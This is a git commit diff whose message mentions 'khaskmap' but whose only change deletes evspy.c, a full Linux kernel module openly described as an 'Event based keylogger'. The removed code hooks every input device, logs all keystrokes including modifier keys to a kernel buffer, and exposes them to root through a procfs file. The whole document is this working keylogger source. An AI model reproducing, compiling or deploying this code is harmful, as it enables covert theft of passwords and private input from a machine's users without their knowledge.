First functional version of khaskmap

1 files changed, 0 insertions, 279 deletions

diff --git a/evspy.c b/evspy.c
deleted file mode 100644
index 4d6e763..0000000
--- a/evspy.c
+++ /dev/null
@@ -1,279 +0,0 @@
-/*
- *  Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
- *  based on evbug module by Vojtech Pavlik ((c) 1999-2001)
- */
-
-/*
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- *
- * Should you need to contact me, the author, you can mail your message to
- * <0xwille@gmail.com>
- */
-
-#include <linux/module.h>
-#include <linux/input.h>
-#include <linux/slab.h>
-#include <linux/init.h>
-#include <linux/proc_fs.h>
-#include <linux/stat.h>
-#include <linux/string.h>
-#include <linux/cred.h>
-#include <linux/sched.h>
-#include "evspy.h"
-
-
-static char *buffer;		// circular buffer
-static char *rdp;			// read pointer
-static char *wrp;			// write pointer
-static char *map = EVS_MAP;	// current keyboard layout
-static unsigned short int capslock_state = EVS_VAL_FREE;
-static unsigned short int shift = 0;
-
-// This is how special keys will be displayed (+: pressed / -: freed)
-static char sp_tag[] = "<+XXX>";
-
-/*
- * Executed when the procfs file is read (EVS_PROCNAME)
- */
-int evspy_read_proc(char *page, char **start, off_t offset, int count,
-		int *eof, void *data)
-{
-	int n, toend;
-	int retval = 0;
-	int diff = wrp - rdp;
-
-	// root only plz
-	if (current_uid() || current_euid()) {
-#if EVS_TROLL == 1
-		n = MIN(36, count);
-		strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
-		*eof = 1;
-		return n;
-#else
-		return -EPERM;
-#endif
-	}
-
-	// wrp > rdp: read from rdp to wrp
-	if (diff > 0) {
-		n = MIN(diff, count);
-		strncpy(page, rdp, n);
-		rdp += n;
-		retval = n;
-
-	// rdp > wrp: read from rdp to end of buffer and then from the beginning of
-	// the buffer to wrp
-	} else if (diff < 0) {
-		toend = (buffer + EVS_BUFSIZE) - rdp;
-		n = MIN(toend, count);
-		strncpy(page, rdp, n);
-		retval = n;
-
-		if (n < toend) {
-			rdp += n;
-		} else {
-			n = MIN(wrp - buffer, count - retval);
-			strncpy(page + retval, buffer, n);
-			retval += n;
-			rdp = buffer + n;
-		}
-	}
-
-	// wrp == rdp: buffer is empty
-	if (rdp == wrp)
-		*eof = 1;
-	return retval;
-}
-
-/*
- * Handle unknown/special key events
- */
-static void special_char(unsigned int code, unsigned int value)
-{
-	int i;
-	int known = 1;
-
-	// We need to know when some special keys are freed; add them here
-	switch(code) {
-	case KEY_LEFTSHIFT:
-	case KEY_RIGHTSHIFT:
-	case KEY_LEFTALT:
-	case KEY_RIGHTALT:
-	case KEY_LEFTCTRL:
-	case KEY_RIGHTCTRL:
-		break;
-	default:
-		if (value == EVS_VAL_FREE)
-			return;
-	}
-
-	switch(code) {
-	case KEY_RIGHTSHIFT:
-	case KEY_LEFTSHIFT:
-		shift = !shift;
-		return;
-//		strncpy(sp_tag+2, "SFT", 3);
-//		break;
-	case KEY_LEFTALT:
-		strncpy(sp_tag+2, "ALT", 3);
-		break;
-	case KEY_RIGHTALT:
-		strncpy(sp_tag+2, "AGR", 3);
-		break;
-	case KEY_LEFTCTRL:
-	case KEY_RIGHTCTRL:
-		strncpy(sp_tag+2, "CTR", 3);
-		break;
-	case KEY_TAB:
-		strncpy(sp_tag+2, "TAB", 3);
-		break;
-	case KEY_ESC:
-		strncpy(sp_tag+2, "ESC", 3);
-		break;
-	case KEY_UP:
-		strncpy(sp_tag+2, " ^ ", 3);
-		break;
-	case KEY_DOWN:
-		strncpy(sp_tag+2, " v ", 3);
-		break;
-	case KEY_LEFT:
-		strncpy(sp_tag+2, " < ", 3);
-		break;
-	case KEY_RIGHT:
-		strncpy(sp_tag+2, " > ", 3);
-		break;
-	default:
-		known = 0;
-	}
-
-	if (!known && evs_isfX(code))
-		strncpy(sp_tag+2, "F??", 3);
-	else if (!known)
-		return;
-
-	if (value == EVS_VAL_PRESS)
-		sp_tag[1] = '+';
-	else if (value == EVS_VAL_FREE)
-		sp_tag[1] = '-';
-
-	for (i = 0; i < sizeof(sp_tag) - 1; i++)
-		evs_insert(sp_tag[i]);
-}
-
-static void evspy_event(struct input_handle *handle, unsigned int type,
-		unsigned int code, int value)
-{
-	// Ignore hold-key events
-	if (unlikely(value == EVS_VAL_HOLD))
-		return;
-
-	// If caps lock is pressed, handle it the same way as left shift
-	if (code == KEY_CAPSLOCK && value == EVS_VAL_PRESS) {
-//		capslock_state = !capslock_state;
-		special_char(KEY_LEFTSHIFT, capslock_state);
-		return;
-	} else if (type != EV_KEY || unlikely(code >= sizeof(EVS_MAP))) {
-		return;
-	}
-
-	// Special/unknown keys (alt, ctrl, esc, shift, etc)
-	if (map[code] == '.' && likely(code != KEY_DOT)) {
-		special_char(code, value);
-
-	// "Direct" keys (alphanumeric + some symbols)
-	} else if (value == EVS_VAL_PRESS) {
-		if (shift)
-			evs_insert(evs_shift(map[code]));
-		else
-			evs_insert(map[code]);
-	}
-}
-
-static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
-			 const struct input_device_id *id)
-{
-	struct input_handle *handle;
-	int error;
-
-	handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
-	if (!handle)
-		return -ENOMEM;
-
-	handle->dev = dev;
-	handle->handler = handler;
-	handle->name = EVS_NAME;
-
-	error = input_register_handle(handle);
-	if (error)
-		goto err_free_handle;
-
-	error = input_open_device(handle);
-	if (error)
-		goto err_unregister_handle;
-
-	return 0;
-
- err_unregister_handle:
-	input_unregister_handle(handle);
- err_free_handle:
-	kfree(handle);
-	return error;
-}
-
-static void evspy_disconnect(struct input_handle *handle)
-{
-	input_close_device(handle);
-	input_unregister_handle(handle);
-	kfree(handle);
-}
-
-static const struct input_device_id evspy_ids[] = {
-	{ .driver_info = 1 },	/* Matches all devices */
-	{ },			/* Terminating zero entry */
-};
-
-MODULE_DEVICE_TABLE(input, evspy_ids);
-
-static struct input_handler evspy_handler = {
-	.event = evspy_event,
-	.connect = evspy_connect,
-	.disconnect = evspy_disconnect,
-	.name = EVS_NAME,
-	.id_table =	evspy_ids,
-};
-
-static int __init evspy_init(void)
-{
-	create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
-	buffer = kmalloc(EVS_BUFSIZE, GFP_KERNEL);
-	rdp = buffer;
-	wrp = buffer;
-	return !buffer || input_register_handler(&evspy_handler);
-}
-
-static void __exit evspy_exit(void)
-{
-	kfree(buffer);
-	remove_proc_entry(EVS_PROCNAME, NULL);
-	input_unregister_handler(&evspy_handler);
-}
-
-module_init(evspy_init);
-module_exit(evspy_exit);
-
-MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
-MODULE_DESCRIPTION("Event based keylogger");
-MODULE_LICENSE("GPL");
-MODULE_VERSION("0.1");